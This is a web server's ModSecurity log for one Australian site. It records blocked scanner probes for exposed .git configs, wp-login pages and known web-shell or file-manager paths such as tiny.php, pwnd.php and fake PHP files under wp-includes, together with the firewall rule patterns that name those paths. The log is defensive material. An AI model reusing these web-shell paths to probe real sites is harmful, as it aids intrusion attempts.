[Tue Mar 24 01:09:45.565706 2026] [:error] [pid 56238:tid 56363] [client 20.220.216.188:29196] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pop.php"] [unique_id "acFz2VSqceFAZRgPDq6XewAAAM8"]
[Tue Mar 24 01:09:45.979583 2026] [:error] [pid 56238:tid 56350] [client 20.220.216.188:29224] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "acFz2VSqceFAZRgPDq6XfQAAAMI"]
[Tue Mar 24 01:09:46.398481 2026] [:error] [pid 56237:tid 56330] [client 20.220.216.188:29368] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "acFz2gymO0MnzQb90MMiUwAAAIk"]
[Tue Mar 24 01:09:46.810288 2026] [:error] [pid 56237:tid 56344] [client 20.220.216.188:29408] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "acFz2gymO0MnzQb90MMiVQAAAJc"]
[Tue Mar 24 01:09:47.232766 2026] [:error] [pid 56435:tid 56508] [client 20.220.216.188:29345] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/az.php"] [unique_id "acFz28rwr-l5A-s9ryBxPAAAAQg"]
[Tue Mar 24 01:09:47.706297 2026] [:error] [pid 56238:tid 56348] [client 20.220.216.188:29269] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "acFz21SqceFAZRgPDq6XgAAAAMA"]
[Tue Mar 24 01:09:48.119374 2026] [:error] [pid 56238:tid 56361] [client 20.220.216.188:29373] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "acFz3FSqceFAZRgPDq6XhAAAAM0"]
[Tue Mar 24 01:09:48.531455 2026] [:error] [pid 56238:tid 56363] [client 20.220.216.188:29322] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "acFz3FSqceFAZRgPDq6XiQAAAM8"]
[Tue Mar 24 01:09:48.970228 2026] [:error] [pid 56238:tid 56351] [client 20.220.216.188:29266] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xaz.php"] [unique_id "acFz3FSqceFAZRgPDq6XjAAAAMM"]
[Tue Mar 24 01:09:49.384928 2026] [:error] [pid 56435:tid 56503] [client 20.220.216.188:29220] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "acFz3crwr-l5A-s9ryBxPgAAAQQ"]
[Tue Mar 24 01:09:49.801745 2026] [:error] [pid 56435:tid 56521] [client 20.220.216.188:29192] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "acFz3crwr-l5A-s9ryBxQAAAARQ"]
[Tue Mar 24 01:09:50.214350 2026] [:error] [pid 56435:tid 56500] [client 20.220.216.188:29281] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "acFz3srwr-l5A-s9ryBxRAAAAQE"]
[Tue Mar 24 01:09:50.645404 2026] [:error] [pid 56435:tid 56515] [client 20.220.216.188:29330] [client 20.220.216.188] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/up4.php"] [unique_id "acFz3srwr-l5A-s9ryBxRwAAAQ4"]
[Tue Mar 24 05:02:03.895738 2026] [:error] [pid 3030:tid 3071] [client 34.47.182.97:63728] [client 34.47.182.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "acGqSwyOuILyynfcqfnsjQAAABY"]
[Tue Mar 24 05:11:49.688542 2026] [:error] [pid 3137:tid 3147] [client 43.153.87.54:57064] [client 43.153.87.54] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acGslZdZesutm6dfYM_UcwAAAMg"]
[Tue Mar 24 06:07:30.735504 2026] [:error] [pid 3031:tid 3076] [client 43.159.152.187:54154] [client 43.159.152.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acG5oqJBKytnG47nuibhewAAAEA"]
[Tue Mar 24 09:02:43.708196 2026] [:error] [pid 64198:tid 64212] [client 185.223.152.138:53435] [client 185.223.152.138] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.138, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-login.php"] [unique_id "acHis3VzJqf6OS_oSZ0sPQAAAUw"]
[Tue Mar 24 10:23:57.695585 2026] [:error] [pid 64198:tid 64202] [client 101.32.49.171:33214] [client 101.32.49.171] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "acH1vXVzJqf6OS_oSZ1muQAAAUI"]
[Tue Mar 24 11:18:35.307983 2026] [:error] [pid 48219:tid 48295] [client 43.153.85.46:42272] [client 43.153.85.46] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "acICiyhf3b4R_lAIyv__3wAAAg4"]
[Tue Mar 24 11:53:03.836043 2026] [:error] [pid 64198:tid 64200] [client 45.133.5.13:31781] [client 45.133.5.13] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tiny.php"] [unique_id "acIKn3VzJqf6OS_oSZ23kQAAAUA"]
[Tue Mar 24 11:53:05.064998 2026] [:error] [pid 64198:tid 64205] [client 45.133.5.35:43611] [client 45.133.5.35] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/fm.php"] [unique_id "acIKoXVzJqf6OS_oSZ23mAAAAUU"]
[Tue Mar 24 11:53:05.631682 2026] [:error] [pid 38767:tid 38775] [client 45.133.5.43:59617] [client 45.133.5.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "acIKofwkUqN4GJAI5oUlXwAAAQU"]
[Tue Mar 24 11:53:10.123796 2026] [:error] [pid 3030:tid 3063] [client 45.133.5.36:26219] [client 45.133.5.36] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/chosen.php"] [unique_id "acIKpgyOuILyynfcqfko4AAAAA4"]
[Tue Mar 24 11:53:10.185812 2026] [:error] [pid 3032:tid 3103] [client 45.133.5.22:53865] [client 45.133.5.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/chosen.php"] [unique_id "acIKpia_-JXXD03-JNwPHQAAAIA"]
[Tue Mar 24 11:53:10.262581 2026] [:error] [pid 48219:tid 48298] [client 45.133.5.31:57221] [client 45.133.5.31] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "acIKpihf3b4R_lAIyv8JMgAAAhE"]
[Tue Mar 24 11:53:10.304621 2026] [:error] [pid 3030:tid 3056] [client 45.133.5.30:62803] [client 45.133.5.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/Auth/index.php"] [unique_id "acIKpgyOuILyynfcqfko4QAAAAc"]
[Tue Mar 24 11:53:10.400406 2026] [:error] [pid 3137:tid 3149] [client 45.133.5.15:36223] [client 45.133.5.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/wp-conflg.php"] [unique_id "acIKppdZesutm6dfYM-YCgAAAMo"]
[Tue Mar 24 11:53:10.762348 2026] [:error] [pid 3137:tid 3162] [client 45.133.5.30:53047] [client 45.133.5.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/index.php"] [unique_id "acIKppdZesutm6dfYM-YEAAAANc"]
[Tue Mar 24 11:53:10.842692 2026] [:error] [pid 64198:tid 64211] [client 45.133.5.49:27045] [client 45.133.5.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "acIKpnVzJqf6OS_oSZ23uwAAAUs"]
[Tue Mar 24 11:53:11.092837 2026] [:error] [pid 64198:tid 64203] [client 45.133.5.19:52881] [client 45.133.5.19] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/about.php"] [unique_id "acIKp3VzJqf6OS_oSZ23vwAAAUM"]
[Tue Mar 24 11:53:12.736545 2026] [:error] [pid 64198:tid 64212] [client 45.133.5.22:24865] [client 45.133.5.22] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/index.php"] [unique_id "acIKqHVzJqf6OS_oSZ23zwAAAUw"]
[Tue Mar 24 11:53:12.840773 2026] [:error] [pid 48128:tid 48176] [client 45.133.5.20:36703] [client 45.133.5.20] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "acIKqMvR4LIMFLbM5VkNjQAAAZc"]
[Tue Mar 24 11:53:12.951665 2026] [:error] [pid 3030:tid 3069] [client 45.133.5.26:47691] [client 45.133.5.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/about.php"] [unique_id "acIKqAyOuILyynfcqfko4gAAABQ"]
[Tue Mar 24 11:53:13.021006 2026] [:error] [pid 3032:tid 3124] [client 45.133.5.52:57533] [client 45.133.5.52] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/about.php"] [unique_id "acIKqSa_-JXXD03-JNwPHwAAAJU"]
[Tue Mar 24 11:53:13.431847 2026] [:error] [pid 3137:tid 3141] [client 45.133.5.40:36823] [client 45.133.5.40] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/about.php"] [unique_id "acIKqZdZesutm6dfYM-YGgAAAMI"]
[Tue Mar 24 11:53:13.610576 2026] [:error] [pid 38767:tid 38789] [client 45.133.5.15:43009] [client 45.133.5.15] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.133.5.15, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "acIKqfwkUqN4GJAI5oUl0gAAARM"]
[Tue Mar 24 11:53:13.745423 2026] [:error] [pid 38767:tid 38783] [client 45.133.5.15:43009] [client 45.133.5.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/class-config.php"] [unique_id "acIKqfwkUqN4GJAI5oUl1QAAAQ0"]
[Tue Mar 24 11:53:13.966124 2026] [:error] [pid 64198:tid 64216] [client 45.133.5.10:62989] [client 45.133.5.10] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "acIKqXVzJqf6OS_oSZ232wAAAVA"]
[Tue Mar 24 11:53:15.740266 2026] [:error] [pid 64198:tid 64202] [client 45.133.5.50:57861] [client 45.133.5.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bak.php"] [unique_id "acIKq3VzJqf6OS_oSZ236AAAAUI"]
[Tue Mar 24 11:53:15.773080 2026] [:error] [pid 64198:tid 64215] [client 45.133.5.17:49305] [client 45.133.5.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/wp-login.php"] [unique_id "acIKq3VzJqf6OS_oSZ236QAAAU8"]
[Tue Mar 24 11:53:16.023782 2026] [:error] [pid 64198:tid 64214] [client 45.133.5.15:30331] [client 45.133.5.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "acIKrHVzJqf6OS_oSZ237AAAAU4"]
[Tue Mar 24 11:53:16.306338 2026] [:error] [pid 64198:tid 64218] [client 45.133.5.54:46387] [client 45.133.5.54] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/about.php"] [unique_id "acIKrHVzJqf6OS_oSZ239QAAAVI"]
[Tue Mar 24 11:53:16.365252 2026] [:error] [pid 3137:tid 3160] [client 45.133.5.8:31807] [client 45.133.5.8] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "acIKrJdZesutm6dfYM-YGwAAANU"]
[Tue Mar 24 11:53:16.525013 2026] [:error] [pid 3137:tid 3147] [client 45.133.5.42:31549] [client 45.133.5.42] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/index.php"] [unique_id "acIKrJdZesutm6dfYM-YHgAAAMg"]
[Tue Mar 24 11:53:16.610391 2026] [:error] [pid 38767:tid 38787] [client 45.133.5.43:56459] [client 45.133.5.43] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "acIKrPwkUqN4GJAI5oUl2AAAARE"]
[Tue Mar 24 11:53:17.008815 2026] [:error] [pid 3137:tid 3153] [client 45.133.5.45:65209] [client 45.133.5.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/about.php"] [unique_id "acIKrZdZesutm6dfYM-YJAAAAM4"]
[Tue Mar 24 11:53:17.134075 2026] [:error] [pid 3032:tid 3109] [client 45.133.5.27:44921] [client 45.133.5.27] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/Content/index.php"] [unique_id "acIKrSa_-JXXD03-JNwPIAAAAIY"]
[Tue Mar 24 11:53:17.195566 2026] [:error] [pid 48214:tid 48269] [client 45.133.5.30:49217] [client 45.133.5.30] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/autoload_classmap.php"] [unique_id "acIKrbeshLWZ3uUDHKkaWgAAAdE"]
[Tue Mar 24 11:53:17.282971 2026] [:error] [pid 48214:tid 48276] [client 45.133.5.45:22345] [client 45.133.5.45] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/autoload_classmap.php"] [unique_id "acIKrbeshLWZ3uUDHKkaXAAAAdg"]
[Tue Mar 24 11:53:17.373018 2026] [:error] [pid 48214:tid 48264] [client 45.133.5.34:51965] [client 45.133.5.34] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/about.php"] [unique_id "acIKrbeshLWZ3uUDHKkaXQAAAcw"]
